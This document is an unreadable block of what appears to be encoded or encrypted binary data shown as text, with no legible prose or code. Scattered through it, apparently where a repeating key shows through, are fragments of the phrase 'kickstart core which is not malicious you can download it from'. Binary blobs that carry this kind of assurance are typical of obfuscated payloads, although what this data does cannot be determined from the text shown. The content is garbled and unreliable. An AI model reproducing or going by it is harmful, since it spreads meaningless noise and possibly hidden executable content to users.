~cER%4 &T yGjS^tWZ\\]TD%  E.LA -&68N[t),*I/~AXT2HiS	!!m&	S	/d#	i# .EVNA+T/,SO_xkd[~BcScSR1w %<eTgkLCC)8UcA7Di5OM E6 c:8wT0%2cCA\~ 
9H&)	KZSJ'O, 
 $'( GV&&
$ 	vAG'.+?>8AOT.^]a<+ c	&
77:(
lM F`Z5$E(cOMi[yM;vScCy-T,  #  %G]6ke
7[$	&0="ZM3
/7$
O`H02& $INiQiRib&K0&,+ %KK
6WjO0B9'OMaKXE@+aTgCo*
;[;%'1"8:9_n^DdZfic@_YSO_c( - i .O3d
7*0 ]AD[^*"K217#   G]Gf` <m0*
GO1
 SCmA7,H='tHINiQ%QOk{,2M, !&[{$\fFYg/ EEB\dM/ "Dbe|39g.& ;J
; 2$	KJG<!&dRWLNTkn@-
 4 60"+:UjA&;(/H~k{"R6+&+OImQWcjS</"NdOWNQO*+o '!-/0/=GW<'=/e=\" 1J`HDe}$LA5yNH~A 1Gffn@}</$
AyO/59H:4
ob`CyBS 028  =#LTC 4
7O	!2	
=6?;Ec 	073C:-O',.Q]Zx}5 E%;
 
SyOHc(Ufeh/Tn?$

.:6w@SIt%ZA`az}&&
%9$="G 
<NIhNe~
(+( >4 7OPiSf|u?JSSk ?6  0JEia@Q$#CVI): ;]**	-	Fehm@V-2O7
 6C:	,2 <JSS-( O7* :*0:*GV&A&43Y,'OhE!C~Jfdk0$ F=;G*GmH<+ c	&
77:(
lM(2.A$>O7 1/5
W~O8_CzB`A 
 "K=M( =?NSC 4
7O	!2	
=6?;Ec 	073C#*3[' #kZeMx}JfP>(:A 8G
&10NUA &3
5E $(
&]u
?;G(m'oHB_Sf|JC-g 3&E>! 0 <MOw!=],.7-,3@K*=?0G>3[. 
0$d[A  NkMf}a**%@ =e
PNc"g+1!-:=GW(/=J: #)7K  &aFC*<2B~]a`Q"(\7
	# G%QtO"[<0/!,&Lk/5
>O7"!:w;CGZ"	,_A`jbQ0#F<`=	
WIy3#" @ehm@V-2O0*
g,*#
 :QqIT^_~h{}a<=]=
 8B<1fUW	; (7C~Jfdk0$ F=;G
VyOBI]a`jJ"-9 M
)A$6
 kNf 4 O#
 $77.(
\v " ?/Z 6.K>,<?N@M
2
okgMfU
=4A/
	fUTrCg@oPM> 	g .
 \"8ARiQlC~DheK  -7O!B
(#*I_E'&g<0;:+
 cK1.K$]<
,	
WZw&![defhF"% K+-'{UU39g.& ;J
" :9=B>&CGj
Mn@}OP" 0A7C!	*WmA
7'e6-0AA % ,5M/w0LmA HC}O{M( 6Z%g6u[N;,?G1&'.!KJ"-9 ?G	A,fFYe~O{fO*% m	9H*u[N;,?G1&'.!KJ"-9 ?G	A0LmA	
-XL{fdc 	07A=w$1JSS-( O7* :*0:*GV&A72jk]h"  NkMf}a**%@ G:9KYK&K0&,+ %KK2"A3O:4PFC7
	MNf}JM 26Z2]98AQS.
y-%#
9# AM:7 03Y=J95MDo	he}JfO":#  zg"AQS.
y-%#
9# AM:7 03Y=J-4PFC7
	MNf}JM 26Z2]=&V[R,2M, !&[{ 
00A9(h
 1@Hj/elPf|u
?;eO7#7
=QtO"[<0/!,&Lk/5
>O7
 61g!6+8kZek{}>Fxl*Scia::; A 
7$0
 #CMp[L^hNe[iEgiLy= 9N:H=*
A &\owBcCBi$+O, I
O+  $	N7
:< f M 
A'0'y2A$'ti$I
R;$ i(?AIS57A"O-T 5
hAnO":HSO_xk:&k=1; 4 +\dkcj;[0
@  (n$	:<+099) #Md}]*"K[]8e{l^, ==>
3I!^Uffhe~O{	/dG]8ed@o<8&:;[i(K
& 3H&n .M\HSf|>HUN}dCEKni^f3%,K&(O!7
2Nt =9A &R"iHcynETOUS" )0WNCTl]e4*O1 ,*=$5 ' ?C]IxlxGI/&n	?A	yPcIO B=5[ed:all6 -
<]3 z :,JPy~h{&9ScjCyG@[m1<O" -LD=#R(8alAlN.0N=6O9& . b@ib~h{"R ;? )TmALTC 4
7O	!2	
=6?;Ec*aFVCoP%A	 ,!T\R,2M, !&[{1*,CMr~L{f.EM 6OcRMy]yUkA
 	G$(%  Z$^wBHACzG~DheO<UcANdOWNLRA ( '\83)xed@o/w#5'KNT6#F
(+*(	AM/M\xkdMf~ 8 '(=6E6' #MtF0:Zd}]a9
O3
  a"8?; Zbe|Jh(8:6)
A5	 L-/i[yM;vScz@A`ay}N]T 2H(n7@I
O00kg-	WF0+-2$lM ,%0uMN5Z`yBibzR\*-%@-:Z+  Zpe|JdMf~
(+4.*076;ASTdScy@zBS\cRXwXRCiOn9 B

*[/ #ULJO`~O{fKbllk%T0=/-
w\N5]/'  :)xe{l^a,/0(707 AOtT5 9PT~Jfd4lPf]kg}5+ * :$7&:9I^I_NyPf(&(	;2 >-::FyRUgZd}]	,*6   7'>ALICTOEHSfIkgk@W; ,T'&gH
 %0&&881 	, ) TJOT'y
:: T~D *<,0 3=+)8 BJyO"g $. ob`".4186(	!IHTO-[%!Ldff;T6$dRTsTgCo0	U 1
,;8 #7(nQT}Hf`cf|<&%NQOPTyTlR$=! ,=6*$ 0.CDS
!-2(' 68NIhg4
	.fOO  K <GDoO,:
# 	}Scz@.   cRR(6M f?	_y^EsHUNf
dffi\"o
HNfIfd9+91HTSxC{Rib~k{&"8:1/\=
<FNIkg  
g#*$ #=&kM<+
#'1J@] %?RIc6F='vkf`
O]R<7F B	 =4FDKbokh%& 88TiH=eOIfo]a HaR* ,OFz"e|J !
3=+5

AyOIfd@D-<CTTv=%. 7uDcja@Q$#CVI): ;]**	-	F	 =4UM      	 ;$F^hO^b`z:?=
\1+2&=/ $:YSh_\xkdMf
r~OegH
! m=#5
26-![k*YVH\7 y %7OTmALICIOUSyOHcC +LWeh &3
5E $(
&]u &	
 %*aF\#F-=,LTCK:Wxkg  
g#*$ #=&kM<# 1KZg ?]/EwHICHiNnM#D:WxkNe}AFEkDcT
#
E./ "CFsO49A/>0D&.S*E2	*' mcO_yyEU'		OAD"% oBKd/,;>w"- !kA BADQJYq_@Pw&   &/TOL-
 667OXN-+f>	KKOE"--iFy(;A):%SA> 
2H:!T~MLI<cKANe&f*.
6 67/"N<9G~/b`&>Z 2! fM,	[A@A m7O\Dk)
Ozal1-C.-*2 *:-[iC[Z0	2F
9/TpAN
WHSf,)
B#
5),If$
\kOw.Z0%2I^KQ(MIo*bc':#A1<*/6,I?(Fg:ald->4<	% 1HTS>%]kM$(' bA)MYcC* k]}xed(EMC-,?, <9Z;,bcjy}h-,-
Z"	OHS-0O-Tkm4~L{" j7*,<'|J'0'C[Z0	2F
9/TmAQIA 7
X!'UUff*+o '!-/0/=GW% =:%.AB]&A$iNnM"	KXcy? +W=

#1(	
l
&`l"e|' tUICzBK
 CHTa/8	k_Df}bNL9>O+N"D9#
7E	!O&$=O>t	(
A`jIVyO86&G; +D+Oc !
3	 =4DKb^hkM&
(H
#Z0((cXA-8IK,ge}6ke`
%4c\N6
Uffh'&#?4&	 * *qFN]h]obyC> R-=;:+%/="   G\y"e|30OJNehmk 'O{KG%!3MACoP@Zw1'i#C:O2, n(Ay	/dkm@V, cQE/1.
A7'0	70Ik -"
%Jb@ue~D [  &@  6I&2^O4*O\1
`lP^h
7'e6-0AA<,A@A m7OADiTfROMaKEEBAdOTcOMiFyOHwC :KHCzB m'=)IN &-
WjO0B9'OMaKEEBAdOTcOMiFyOUwANTtHIStSi _/ uScja--(G0<-,=&FN&5"(+VjA=5
[38	SiSkICKSTARTcOREwHTCJ' 
Vvke` <m0*
GO&
27&&&88:;, #P]m;G:"m\LK {TIhg-	WF+&*FgHbokhM  ,-A2+1=12 CQ9(!VdO
[0/ dRWL'k" G^hhM~JDrl$e]kg}hW9S(6 
"KO& ? $%810H^ULP_niTfRSB2ze}P!S]ND^^HCS.
S?0#bIIHn.>9A
=O1-N	(2 a

kdE~cEM	86TtH*8~AXT.  =S 4O]p]EsYCv_E[L!!*M
EE!*,<
6UxA/1i??iKYT! 
2HIC/&n(#I? 5c-'
	O;/MrGE
A( &giLve1  i(?"
9;'=G]Gf` 6!"'%	GF'8)93
 0-J`]SfQ#' %I^K2?57UH2 = eHWcjyK1  7 Iw58 0G]xeCl?4:H![]k	~JK> iSnOTmALI^I$<0<!3:=8NSOF4; (FdUTd,;~T^E'(*"; 	RIc.9.>(:: $SY
1<,<a]}xfI'	 7TcOMiFyOHw %?= =96HN$
$%
, ;=GQ<,<`OL{PSKbYD&.;-*M!4K]hR MCzw
Jk{}6H9^+$QK 7X!MW' {P9J(TT ;<H5(YlJWy@zw
_3&
w#  :/ m]SO1 Ug
-O^ZiHyaA*&&"FfQIx 8Wy@zwA3
OG#G* =MT  TM5MU1yM!#MSKbll^^4c
!	<&HUKjb`zu\8Jk{}P'H  &;+ 
-G\xAQze~RC-JL{S.[hkMS*M dM6Vt: vK
-5
 	6K]Tf'JGkeU U=RW3 	!B '4PQgKblY2O'RO9<
# kS( IC*:4'lQ~DheU[Q!;!2>&.3+>SN{JL{fd}	[hhMf}w2&;21DeTF MA`jbzHJ';+;6S[u\"JGhe`jUM'<&=_CRCZC}O{fQ-[1*(
('_XuI5K]hg}]Tw' -, +QDHl[]a`jau'Q (".06_BOv}kgMf~R _0=5<2qSYJze}Jfdu
0Q!( 37YJu\' ]az}hN[,Lo^a`_	i<
pC0y-_^EMA'*|I	!#$+	!G\lCP7':6?.+?1;9N["Qxl^TF?MDe}D] IN{-- Fi*|I!0,,-MK]hg}hi/TA  
 8 ,lQHb]cf|Ov5_dNf~RD {P  @_Nf}JS	 y6Iv %iWibz}hN3E>TA&!MT,TA(;U/A&)PQQn_Nf}Jf,"<w*?;kU\A+ RA2 &nPJm]SO1 U'-
DH7!'=!JhKZE4$<=!MsF~V[fO_Y0AyA}YUZDEPBMn4	^WZ+EiOKske`jU@/QJhRkRekm@H"M(XG #
EaQg@oPSJ'	T7	?-&GU
98xTgTTr_fcj`fI0U*Sf		^L&2cUookhMfH'i5$\L1,Qucjbz}hN3[-,';>'11':_F7QU dMf~gef	,{P5_MN3m,;[4[0
$%](
6E
" :9L -* kL -3K(M~Jfd@oP% iJ6%%AU"!(1?;37TFVCzGf}qN WezPf|2OYk2\cUolkhMfH'i5$\L=
,QuX_DL~Jf{l^TQV6*7>-; !&#6e@q_dMf~geS?T%2VG%B,(7
u_d}]a`z@OtS 6.<+GS"<^&<DdHUdPIdefhm@}za	yM/OwZv!_d~]a`z@zw	A1RP>(:A(M  :
"fQ6</'(2+;=(?*7;]k!
wlPf|k:H
( 8TAV}e{l^aU
9:O 4	TA
{O'\L/ =Z51E
'
"klPf|^ANTtHIS?'VQH^3O?I$+ $AK*41->	MrTyLMBallkhx"M*
8jC kS"^I'. ?kS=!QK7B,TtT
d),QUG\3#;+24'<$=H{'MA`jbO[-Qxl^a`jau<@JGke`j`f|O5&N" SN"2o j6, 0u_/&  %, /.O[&Lo^a`_9 O! ^K	5Wc
yM/*,/6MJIfd@oeP?N2HAR,;CW/~ASCWwyGf}DhP
y~C-g#o
!	/
OwlPf|^hgHki(KW/lHV]b@zGf}qNMSf|JhR{L
,NfMQgHbllk]%O1
tD1'T[{g 	Zl"(' b X006Z
	,2.J+ ?*A#V^a`z@zkIC ~M-;	Jw=.&)%?&:,9:$=3+x@Pffhm@HyaOK}ed@oe@'  J^a`z@zBU\Jk{}Jf{lk%S( pC  +[)j-Vx8?>;$616=0@(<K]hg}]a`O:*CIa	 ;K]T > mTM*,
fO
QM
*55EO40;{O6iJK\wOd
Jk{}Jf{Yx VCSnOTmALICIOUSyOUcANdSO(5OM3H**;DgeUwANTtHISiSkICKSTARTcOREk%S( pC70,LzSXw~fROMaKEEBAdOTcOMiFyOUwANH'i/TA ,-8KC%=IoWS*/Sf
sTv\Z,KW Zd1'\y_Nu_, 7:'!ULL~cOREwHICHiSnOTmALICISZ0KIANdOWNLOADiTfROM}D_Ne}Jfdu0U4'UK%iW_DL~If{l^T
i">\NGQge|JhgMSO(5OM(	Cz]Hl?XSf|^hgH<ZW ?*746,5 5 ;;*TFZwyGf}DhP
O8~C6
C ((OallkhMfH/,
y	%\L= =9M$ uV>1!6;;'%%&:SZ8/_dMf~R 
i*|I MJIfd@oe; tNk"
Z32
,Qpe}Dhe`_6U5 1
JL* dL8?? :&(*7#4uI6> J^a`z@zwR" jJ
;*MJ3%=&6',1&1N4Qkm@}O{S1
A26
Pk -Wi6<= -65#wFJIf{l^aU=!T;  TM-W}6<;21?)54u[).[okhMfHl%:K]hg}hG(uU\Jkx}Jf{l^T
,n	?\N

8m0@;# 3G[+&
 &0 5003!&TF(.]az}h{}JS6I ( =RV+	KQI7 7A=SN	*$OaX@
-0;w#Z=;.C]J@6Wib@zGf}D] IN{	3L4CZC}O{fdHbY	!T% tD2<&G=eV_4 0:*<UL(+JGhe`j`f|O*-A(QM,"PQQ(A0&RO=!Ww
Iv " ?]Z+ ub`ja@zGfTmALICIOUSyOUcANdOWNLOADiTf4XG'+ =DvQIx:VU;\ucjbz}h{}2I;Nl.
[-[30MI(8?>4&N@ 	 	\kMf}Jfd@Z*9A5Nk"QJ]3E#Uk+ oA^K2"j	B=Vf4XGPPf@J@97QI5AJ^a`z@zB`_A~M'Ed/$	K]cf|zPf|JhR( O;Id*j	 3A:
{Q3112 8:Of*M~h{}Jf{l^T	'S->QK 
{QI*1WYk.#GB RV("-#O $F %QdW_D  J Jib`ja@zGf}qO+RW(/O=h2 @_;$?,590kN6MCzB`jbz}hN3E4tQ(!NW_ -O:yM	
&dR	|I
71C/)A6"Ky@zB`jbz}ARTcOREwHICHiSnOTmALICIOUSy&!JL""P@S}DzS1@SCoPf|^hgH{ wyB`jbz}hN"	wUk'>G	w&Lz)#>3:2!Hi$[okhMf}JfQ:8U4'UK 'AUO7O'TA,:MT$QK  -7O0Y
Fi'|IGJ\]k"Su+@K]hg}]a`zu*S Ia<=](cKQ3'	0%2=x@
ZC}O{fdHbY *O/:[{	2
VjT 9?I\P"8AH sM$]?m7UN,IdP@S}DzS1@SCoPf|^hgH8	%S-VQ0#Fg'Vs'89<-&'Ov!ze~gef]9(R X@-
'MSCFyOUwANTtHISiSkICKST]3E#Uk+ oA^K2"j	BkT0$VGGM_NOTcOMiFyOUwANTtHISiSwVTN]H0w:Nl9AIN{,!)#>NO0#OM  L0 y_V$+9L sCiW%?#+# ;<7YxwSqQ~mALICIOUSyOUcANdSXZu4]QgKbllkhMfH/,
y	%\L= =9MO.%JW%<,*9%%;_F<KIhgMfKD*'Pc fQ~Jfd@oe'T tQ?QTIa<=](c	QSf|JhgdOWNLOA(3RO}TA!,O=5
#1A28"
!7mR#? 3[pFU|_LkQ}gefhmu6M"\f7'DyjC15#7PJ;<: , #u\=#_f`j`f|O*-A(QM= )MM(XG7
 ;=41>LJ<',6,7W\}e{l^aUL9 QH/CWi`f|zPf|&
PP@+*LedHbllkhx"M*
8jC kS"^I2?P[<'<< ) "#'_F7QJhgMf~gPA-Id #MT :dM":Jcz@zB`jbSTA&	OG?s\a:O]: l'  (]$O
-0;t4: %F; 4G$le}Dhe`j`OUS-$yM( kJ3!9.1,658;$Qfge|^hg}]aU;\ucjbz}h{Hlibcja@zGS[)Wi`f|ze@*PNe~gef]  f2XG6MJ@	 ge^hg}h i'NV3\P[]a`ja@O*m RW0/Lz\KAZC}O{fd}W[$(
*+:#ZvGikg}]a`O-=I
NV&B9D%+Vm RW+
n*
Fw~O{fdHbY	!T% tD2<&G<"E-;
:#Jw>!+9)*<=&86e@"(Q}gefhm@H5a	yM*
-DgS9 t,NiVA~M4	;`#M,< >-LL <{P^OnUYJ%JIfd@oPfI$j;,0=:<;6&>! ?NJ$Vu<@JGhe`j`fI8/A+JL: ' C5j;01:0>Vj%(+6, 4'=,7Hl2Wia@zGf}qI*Ha!LRS
92R1XG<Vc	tD2<&G<"E-;
:#Ji/(\N\AFQI\*-_dMf~gef]9(L<($+!1>*&<96e@'  Jh
\wykICKSTARTcOREwHICHiSnOTm] I*Ha	(UP8&,!'&;$,6:*$?Hl?XSe|^hg}]T+'IIC 6M=/ %O	Qg<! "'(##+$Xf'
allkhMfH0'F:$SV2-QuU
R :Xu"!VmTA*1@7 	J,'cD[YM4}S;Ige|^hg}]T+'IIC 6M=/ %OKQ&'.9)1=;RC ,xxfdHbll^4c(*RW10JWO ;KIa#JI
tQ%&A<7	@1LL <{P2	 0-@/ 52O 9K\wOd
J]lQxEwHICHiSnOTmALICIOUSyOUc]
-W tV.cU61' ;<""#'01R[0MCykICKSTARTcOREwHICHiSnOTm]SOyG&*
FK$(''3=99*BKAbIT&.5.'1<;}RILwykICKSTARTcOREwHICHiSnOTm] U6Ha
'J:2C;
+aQ76*33+H{,ucCKSTARTcOREwHICHiSnOTmALUS:0Sf	 CZu(a\f&+	!MU>SV?
:*E m5,QaQHbWSvQcANdOWNLOADiTfROMaKEEBAdS*M*
8jC8KM2+&-<&$-<#"Yx VCSnOTmALICIOUSyOUcANdOWNLS^!f	(^E]_NeTcOMiFyOUwANTtHISiSkICKSH&R8TA % ,G w- !M_6:?*2") 1]k!
wlPf|^hgH'i'NV/P[k=S:(\N
6Wc
yM(2\5K*&*{e|^hg}]HISiSkICKSTARTcOREwHICHiSnO%RW1
(
f@IRC'JzBaEEBAdOTcOMiFyOUwANTtHISiO/ K ~M ;K]:="1'%%&:0=6?Il2Q}defhm@}z$EyM*:8y !G, ?aQ  <&1-#=92? ,'<I\5&PNf~gefhX:'O-
_C"/OwZ0"N -Nk#  PT*OG<
=<Z>G - &6LCQ]K:'QQ#J[hAdOTcOMiFyOUwANTtHISiSkI_A"Xu kM*'.>,<9*'><&
. 0?+ ?]K-0LegaKEEBAdOTcOMiFyOUwANTtHIO%)KOV($g +=O	0Lz*/:>."08!;QnzeTcOMiFyOUwANTtHISiSkICKSH-O	6^J/+o_P<U 7JL :'
	cK_C/((-A2z;(<PT1 jJ\AH*"IoT\K]U@!1zSXZu4]QgaKEEBAdOTcOMiFyOUwANTtHIO-=I OV+
uV,;<2;+(?=<!*9#e@*PNf~gef]K-0LedHblYM-JIed@oPS>N8	 tQ(IMHN5Qxo^a`jT-8O! ^K)[W}kgMf~gPi*|I(
V}[Qf0K]hg}]aU{M179275-2
#76kGQVCzGf}D] I*Ha !Z # MSKKEEBAdOTcOMiFyOUwANTtHISu*S Ia"kMr@,	]cf|zPf|%WRC&3/IE 7Ia=6Wi#::;=2'wF_x}Jf{lkG
wynOTmALICIOUSyOUc]A Pfehm@}za	yM/OwZv!_d~]a`Of"]az}]]*Lo]a`_ npC]WMSf|J]
-WRC(#@Oallkhx5O%*Hu7QwFwFJk{}JfNeV,;<2;=&PF[QzPf|2OYk4@"*
aQg@oPf|ktNk*F_/  uV-,7<07.?,<,7!!,!N
-Idefhm@H"M(XG+&++MK]hg}]a`O-=I
NV $$
E  
o_JNOv5_dMf~geSN  xxfdHblY2O'RO*+9(8KMu\/ Uy}h{}@!Vcja@Oa;_fcj`fI0U*Sf
 (1  1 Cd :tD='nH'iWibz}hN*R;	Uk'!NWUU@/QJhgMS\R=$75>*,>5YM	vQ~Jfd@Z=w
Iv 8PT $UK=!Vs#8'<;:;:<!-"=KAZC}O{fQ%EyM6.%8 'CN8	 tQ)CR7 jJ
9/N#AW-!=,9  ?KAZC}O{fQ%EyM,-
Ww'TQ+?QT/
OG3(
t#NW!=!* ;0$RkRehm@}zaX@+  0% &JI%8^I-MR#Uk'! SQg-!>=;2,)SN  xxfdHbYd~M
&6?$<'("?&
8 kS=!QK 8O- !MIdefhm@H'R$XG
0y@B>.A<5F
$\/ 7x	+c.
X6 . 0N&2_2
- m$
{e|^hg}tHI(,VQ+-P[':7:  &5%&-==:&#0)!;> +SNw~O{fd}D_Nf}JSB-/Q]hg}h i/TA$0
/JI0+RV)OS7 &ZLze~gef]  fPc*
-+MK]hg}]aU{M(1%::&!Hl@[]a`jau\*ske`j`S/O'\L3 
(/G\kMf}JfQ-/O3\L5'8K]W\JIf{l^TF?MDf}D]C
QyPf|2O
QM;4PO5	 _C 30\y9UVjb`z@zwPU6&3=& 1&:,'Tf}Q~Dhe`_OdM16"kJz]SKbllk] c	tD> 82&KS**VQ ,P[<'</'< 38ULMSf|JhR N\F;2 Oa	yM6&y" kM	=-4!15 -@!Vcja@zr;_f`j`f|O8O1yM^f[1C      j.@	&,9 =\(.
^0#E<+ ,F8&6B	%Vf2XG	-/"DSf|^hgTtH;.^I,(ML&&=$-:;;.>"_FKyPf|J]A Pffhmu["SKblYM-JIed@Z=w
Iv=9K]az}hN*R;	Uk!?KQ6)*0OQ_iFvBWK/
ZxP+M,1 U3 |O0T`HkV]KOk{}Jf{%^J!:wNCA<
"O+UP"&'O&oallkhM+,:	)  ;T{H(,)C']]}AR$;I."O$I <&@xARekm@}O&2K6ci +
w ,IkS T1
$

<+O9AF S4 *dN;T2
M5A+	~Jfd@1
Uk N&Nk?Q\[myG."BGc	KQ2=O2&6defhm@$3"K)*@wF8U'=-S)CA4&
R68	;n)8  _y
7	6O'TuR a B---elPf|^T|	S0>C jO.H,n?GSvQJhgx@Qkm@Hiaol^N }eg@Zv3P~]TF='WibOKIxo1   O.	9+%"lF}ffE-2 aKEE_A&7<94?'AQTs8/8
UTyOU&8DSCzj!* OUSdO&*
FK$278 <. LLE]A<'#+'*UmA1+!%6,pcjOcOREwHTC1" (IKGDEO*
"lK 	'%o[TgH
3GI9+~Zd}p/,/
T\R.
3ADFn_nK,JIAUTw,@4IWeh[w~ONN)(1<2$d .SCoe:P~]T(ucjbOc'E sM7"B!
)
Wc* RC,2],^E	%&P2BMu_d}]T=.W" T$iOq=A	
OQ=* dPINPP9T#a !\d9(5 ;pHNKt>,!:'CQSSX\Em^_2[SZCx^C|P\PN
8XAqXcOHPP@=#LedHW!O :tD-
#N'JI,"^IPT1
Xu, &
9CRcj`fIL)c, 4=?GH_vJL{fQnze}JS*0ikg}]<.E7&)>,fH0,/
 '
cCW (ZFM:allkh  6'w#$9
KL03O@M&;\dZf`j`\HSf|N'Qkmu[.	alY  JIedu0U>SV2	kS( IC":8(
lQHb]ce|O=c
yM
L&2$G[hhMS*M dM2 
&JWy@zBUT0OG#kMDf}DhPU=RW/	+MW \F#a 	07O&6MKkN5Wy@zB`" T$iOq=A	
OQ=* dPINPP9T#a !\d9(5 ;pHNKt>,!:'CQSSX\Em^_2[SZCx^C|P\PN
8XAqXcOHPffhmu["SKblYM-JIed@Z=w
Iv :$IM~h{}w^J9)
E`QgeJhgMSO(5OM$Cze}Jfd@Z*9_ 1,:<6,/;8']]3[wTia@zGf}%	^K)OlN3Y
(Z%B%*7'I82Y?
:*F&#G< '`

-A7fe~gefhm=4
|I: *V}>8 %<!3:H{	Wy@zB`_DL~If{l^T$S#
 %TA {QJhgMfK
A%5RO2 SCze}Jfd@oe!A5Nk" V_SHlib`ja@zGS_f`j`f|zP?0+N
 #edHbllk]kF}ed@oPf|kt: vKL-9AVCzGf}DheU U50\L'LRSN  xxedHbllkhxJIfd@oPf|^15S,?K
 T3 H=n!C y,@Nf~gefhmu[6LedHbllkhxT0%dM8Y'sS8PJIf{l^a`jan C  S-7A+N>4O2K A-T7i 683H%qcjbz}h{}JS
3W_W9>O.	I )
* 'GE& +( LB^zS[  	,XSf|^hg}]TFwyA`jbz}h{H/ ;HtQ%,WMSf|JhgMf~>&"xfdHbllk]k!
wlPf|^hg}h'S( IC&Gib`ja@zGf}qO
)
Ha7 CD {P1
6Vc$dM$'-QdWibz}h{}JS]'	]b@zGf}DhPFQzPf|JhRkRehm@}O{S	(E 7Ia,t9:QwyB`jbz}hN"	wUk!9< QgSZ/ !Idefhm@}ON5
B=~M<4uA5Nk>VA :Xu )UT}OYI]bO"	-MN\TCZC}O{fdHbl0+c$**%d}]a`z@zwF JIf{l^a`_G-8Q~Dhe`jU@/QJhgMSXZC~O{fd}B(0RO*
+MKkN
"Vcz@zwFJk{}@!Vcia@O*mTA <W}kgMfK
A%5RO"# aQ.& 0	Tr0Hk[S[KR0IYhH,& T) KN6RZbOJ}AR%e~gefh; OM5XNk4A"<yvV'*$S?Ox}Jf{l:> !ILI.<c- SXRAA%%f

 E,c:+3OR&GWyCzB`j?R1 6I
i<
mcO,N'N
: 45EA%l i61N H-9IT.R
1b`ja@&
Tq L	HQ13[Ak Bg4@
1HVL	0aQ*3y(98b`z@zB9	R8*$UL	wS/T=
yc!O1	
A7&2$K#
  * eF<?T"  %IPKA&O>4eyGf}DIKU
6c0 EO 
0T*3K - mS;Ige|^hR[0MCzBUL_x~JS]>Wib@Oa)RcjU@4KIhR{fkn/(.E 	+#$ =68Hd^aM-? SIA9= $!1:=3:SqOS7dATdH4
F_C}yLed}J!*!5?1c$
ge|k	8Vczu.Uy}hN&E?E,;pC/
t;3Ld 
tV2nZd",d:!LVVjb`zu"M5
!R.>(:OHrCyK'- NSQAXv.O"
E"&En0=&. S}HVS6:*$=T[RSzACKfE{C|YD{P[XRYVX<"VZvAILP_Xf /all^0&O0<RW# { kS&IC/MR2TA=
"
%	AWe|zPSJ3	d
,27a]}MQgHbYJ=}eduI1
3_d}h
0MAcjWR'RP6AH*/pC
*/
/ fQKAZC~ON7K_C4&B&-9Vjb`zu"CIC"uVcja@O*m RW0&CPNf~geS(fPc
Cd7RO<
6A%7(?ICLHl9Vcja@z(I(  -7AR{L
&Tb5
B^zOH|9F<8A
2-[l?&9 =.<SjOME-;0!=nUTjXBXMXB/]EqW^r^@_]_XI;0ZuYSEA{Q~JfduI=ikg}hG?MAcjbOT*OG'	&*MJGhe`_S0Ha#
FC ,2PQgKbllk] c(*RW?9KMCzB`jbO}!7 ;&.-6??]CKSeJhgMf~
Yk2{DJj&
(H: x!=? \
!_>(:B"0 l-C: ' C)	@kMf}Jfd=+#\L+6"Qu86"0?2&5;NJ6Vcja@zr@$Rci`f|ze5A(QM,wPQgHbllk] c(*RW48KM Od
M~h{}JfNeVcja@zGf8"I  Sf|Jhgx@\Rehm@}ON7K	7RV"(K: # 1KMCzB`jbzHc$TA%lQHb]ce|zPf|J]ze~gefhm@-)O  E !T/ 
.=O"@~]a`z@zwFUy}h{}JS]>Wia@zGS[)Wicf|zPS*N'RC%dLSB%[hhMfHl?XSf|kN
"Vcy@zw
SOV% 2K]b@zGS$L
N{3-NQ"945KC=TTq_]q@7$	UHki(K\d6ULlHV]HuDf}Dhe	HQ13Tk@ A ,$A.G[,'/i-we|^hg}0 $R[c. 2
C$=r@sOL(O>c#L,0C}	J\kNf}Jf9!*O%	5I:S-S 4  mHi/T? ,cd
C D$"	aE 
c,F-
:N2b`z@z?KOA&	OG?Rf\9cM\>nR@,NQ&*T3
	okhMf}%:O9>'U\(MkK0w
C!n)(L:+
U* Hi/3K - c\M& y2A"7 ,_A`jbzR\"R8C9' dAI<U57 BSfJL{fd}D_Nf}@	 ge^]A=WyCzwF_x}@:WiauL>GfcLCESsO4(&W%
=4eMkK$B .,n>+
w <i3
 c
;bIIbiYn/,OUS2(%dLEA$*6&E!4*=Fq\eQ^LyZYA|S   TAR!>&!"LFC(;U
NO]N,,5OMa,+0B&!1i6,>N8=:k TpCR
%H,DO^bkfFICeUYy,& dL ,T%$Ed&O1+#
T2:]k<T-O9	
 )O %L8,@NO]dLEA$;2aK
NO^le<:8N8
/ 
\je	o^GFC2,*O;
OO;,A+O,#TM6E%',F<?A@<I .IS7
^E8;:
T"L
weZlh"O_ (-
(JF+",9+
2I]}bF\@AFLbz :%aZue[bhci`@ZS?6c 
W	C}/OE'++&:*GR6+7;,( SH[~Jxl^("
?> 
]Zbe|>kNeXDFeANi&# $Ed	/
i<6 :I&S         meRO]HCC=: T:		C5*	dL!0O9- c	&y2A6bIYCSaI# TcO3.
(:?>
OUS}0>6 NL;	i)@1
7$O'0wT+k;T*R$cCBfy(.I6/'%5Z.& 	 '$,96Us 8*ZAib\[A .  wCzj><
BK7-
F&a+4&!4:LKZNe}l@M5
2A5("y},.>(:;,&F`?*]}xednDE!!c	(,w1cz-'87 ;(DM#+ jZdNfXAL+, #R$K +1M-+
#t!/S=I,%?-A;2cB$H
%*OV&QSf&0
<(2&
 1/0 :GI9	*%%]obyC\aCiKYT3,E1;n	!ECA]y 
0B' C1oBKNO^c/(8U*/'*Tg#8CSdeTgA,y*ddEXd
=)O	$ *-0;
#:[
""	  7?#iW> 91 @eyPK+ASd a59*/Ws<%6\}ARyCz"CCW	RI~RR6ACz5e}D	NyPIhJ&iIf$I02
#(9uORysARyCz<
TI/EvUTCL/"
TpA,+GQ'	Gme~ffh/TnxfdHC 0\g	%uOE{A &aW)]cDRT~HT^Hm/# CGOR]~FJhgbIWF=nV	-IEOUmOI~OJg1R~kg}}b`z2yB`jO$1 Hi'fK$	@Xcf|SfIkg'	aP"FVKooMKneTiO),
<wt99S  .H %H=
O;-5I*/O~U  (
NN" #OKKOoBKd/"$F$455#& ?TE0"8cCBCSdO4?O0cKAN	 'T"5.
719,)+% ;[8
$,%
CL9=$?@ie|W-
3%6OJNH=$4@ 6)0*E`]SfQ#StS?
[P3+~Scia nG KM)+1HGNfdef=4TgHookE&&$yRU5 :	aW?7[OIe{1HA;!:AG7&HNeRWI=+HDKbokh6
 6rlP]h7  .6+'  4aW:
=%JReyS@_ikNnO3 
i'  E(
oOgwO;L)&z " ?]~cExE}H)	;#O5 	 7+WJ )eMkaEOB!6
 6i6]AD[^*"K&$<='<>
35
k %5.EA7$1 `l"e|sTiH,/ C2?*(%<% tU(<G\ZbeJdGS
O\YtT $BolkMf&;be|*kd}p
 ,*KNT&2@6<. ?0+aAKGRZbeJ-ND	 :fSRPaOdRT(=E
}Acz2yB`
S\0 Ms eSj>O[S~A-ImF}gekm@}b 5;
Lz/"N}	;GO^a`Cz6cib' MsJSCDe[gKfIII)89 - N	;T2
